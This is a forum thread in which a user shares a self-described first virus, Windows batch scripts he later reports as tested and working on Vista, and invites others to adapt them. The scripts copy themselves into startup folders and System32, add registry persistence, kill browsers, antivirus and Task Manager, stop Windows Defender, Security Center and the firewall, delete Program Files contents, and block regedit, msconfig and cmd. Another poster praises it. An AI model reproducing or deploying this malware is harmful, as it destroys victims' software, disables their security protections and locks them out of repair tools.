Sample Batch

[Zythier]

I did some basic windows exploits involving startup, and the shutdown command. I was wondering if this new code i compiled would work or not work. Keep in mind its my first actual attempt of virus. BTW I targeted some specific anti-virus programs (for my practical uses ) And also it tries to copy to both vista and xp "startup" files, just FYI.

@echo off
copy "JuStiC3.bat" "%SYSTEMROOT%\"
attrib +r +h +s "JuStiC3.bat"
copy "JuStiC3.bat" "%HOMEDRIVE%\Documents and Settings\Owner\Start Menu\Programs\startup\"
copy "JuStiC3.bat" "%HOMEDRIVE%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
copy "JuStiC3.bat" "%TEMP%\"
mkdir %SYSTEMROOT%\System32\MS_NT
copy "JuStiC3.bat" "%SYSTEMROOT%\System32\MS_NT\"
taskkill /IM iexplorer.exe /f /t
taskkill /IM firefox.exe /f /t
taskkill /IM avgcc.exe /f /t
taskkill /IM avgamsvr.exe /f /t
taskkill /IM ashServ.exe /f /t
taskkill /IM explorer.exe /f /t
taskkill /IM taskmgr.exe /f /t
net stop "security center"
net stop "sharedaccess"
net stop "windows defender"
netsh firewall set opmode mode = disable
del "%PROGRAMFILES%\ /s /q
attrib +r +h "%SYSTEMROOT%"
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\system /v DisableTaskMgr /t REG_DWORD /d /f 1
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\currentversion\run /d /f %SYSTEMROOT%\System32\MS_NT\JuStiC3.bat
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer /v DisallowRun /t REG_DWORD /d /f 1
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 1 /d /f iexplore.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 2 /d /f firefox.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 3 /d /f notepad.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 4 /d /f wordpad.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 5 /d /f wmplayer.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 6 /d /f regedit.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 7 /d /f avast.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 8 /d /f help.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 9 /d /f msconfig.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 10 /d /f winmail.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 11 /d /f outlook.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 12 /d /f avgcc.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 13 /d /f avgamsvr.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 14 /d /f ashServ.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 15 /d /f cmd.exe

[Personoid xX]

This is very nice... I would have never thought of this.
Thanks. +Rep.

[Zythier]

No problem your post made my day but I must say it was a lot easier confirming the .exe(s) with this website that has a list/search engine of them all!

Kudos to Windows Process Information
Automerged doublepost:
Sorry for double post but i think there are some coding errors....

I tested and failed

reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer /v DisallowRun /t REG_DWORD /d /f 1
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 1 /d /f WinMail.exe

Santax Error , not sure what's wrong. I'm a noob lol.

EDIT: I was stupid and put the /d before the /f
-,-

EDIT EDIT: FINAL CODE TESTED ON VISTA WORKING, Requires both batch files 'a' and 'b' (a was created for auto restart upon first execution)

@echo off
copy "JuStiC3b.bat" "%SYSTEMROOT%\"
copy "JuStiC3b.bat" "%HOMEDRIVE%\Documents and Settings\Owner\Start Menu\Programs\startup\"
copy "JuStiC3b.bat" "%HOMEDRIVE%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
copy "JuStiC3.bat" "%TEMP%\"
mkdir %SYSTEMROOT%\System32\MS_NT
copy "JuStiC3.bat" "%SYSTEMROOT%\System32\MS_NT\"
taskkill /IM iexplorer.exe /f /t
taskkill /IM firefox.exe /f /t
taskkill /IM avgcc.exe /f /t
taskkill /IM avgamsvr.exe /f /t
taskkill /IM ashServ.exe /f /t
taskkill /IM explorer.exe /f /t
taskkill /IM taskmgr.exe /f /t
net stop "security center"
net stop "sharedaccess"
net stop "windows defender"
netsh firewall set opmode mode = disable
del "%PROGRAMFILES%\ /q
attrib +r +h "%SYSTEMROOT%"
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\system /v DisableTaskMgr /t REG_DWORD /d /f 1
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\currentversion\run /f /d %SYSTEMROOT%\System32\MS_NT\JuStiC3b.bat
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /f
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 1 /f /d iexplore.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 2 /f /d firefox.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 3 /f /d notepad.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 4 /f /d wordpad.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 5 /f /d wmplayer.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 6 /f /d regedit.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 7 /f /d avast.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 8 /f /d help.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 9 /f /d msconfig.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 10 /f /d winmail.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 11 /f /d outlook.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 12 /f /d avgcc.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 13 /f /d avgamsvr.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 14 /f /d ashServ.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 15 /f /d cmd.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer /v DisallowRun /t REG_DWORD /d 1 /f
attrib +s "JuStiC3b.bat"
shutdown -s -t 60 -c "Catastrophic Failure"

Name this JuStiC3b.bat

@echo off
copy "JuStiC3b.bat" "%SYSTEMROOT%\"
copy "JuStiC3b.bat" "%HOMEDRIVE%\Documents and Settings\Owner\Start Menu\Programs\startup\"
copy "JuStiC3b.bat" "%HOMEDRIVE%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
copy "JuStiC3.bat" "%TEMP%\"
mkdir %SYSTEMROOT%\System32\MS_NT
copy "JuStiC3.bat" "%SYSTEMROOT%\System32\MS_NT\"
taskkill /IM iexplorer.exe /f /t
taskkill /IM firefox.exe /f /t
taskkill /IM avgcc.exe /f /t
taskkill /IM avgamsvr.exe /f /t
taskkill /IM ashServ.exe /f /t
taskkill /IM explorer.exe /f /t
taskkill /IM taskmgr.exe /f /t
net stop "security center"
net stop "sharedaccess"
net stop "windows defender"
netsh firewall set opmode mode = disable
del "%PROGRAMFILES%\ /q
attrib +r +h "%SYSTEMROOT%"
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\system /v DisableTaskMgr /t REG_DWORD /d /f 1
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\currentversion\run /f /d %SYSTEMROOT%\System32\MS_NT\JuStiC3b.bat
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /f
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 1 /f /d iexplore.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 2 /f /d firefox.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 3 /f /d notepad.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 4 /f /d wordpad.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 5 /f /d wmplayer.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 6 /f /d regedit.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 7 /f /d avast.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 8 /f /d help.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 9 /f /d msconfig.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 10 /f /d winmail.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 11 /f /d outlook.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 12 /f /d avgcc.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 13 /f /d avgamsvr.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 14 /f /d ashServ.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer\DisallowRun /v 15 /f /d cmd.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer /v DisallowRun /t REG_DWORD /d 1 /f
attrib +s "JuStiC3b.bat"

Tell me what you think, and ofcourse use exelib (link further up) to edit for your personal uses (disabling certain programs, services,etc.)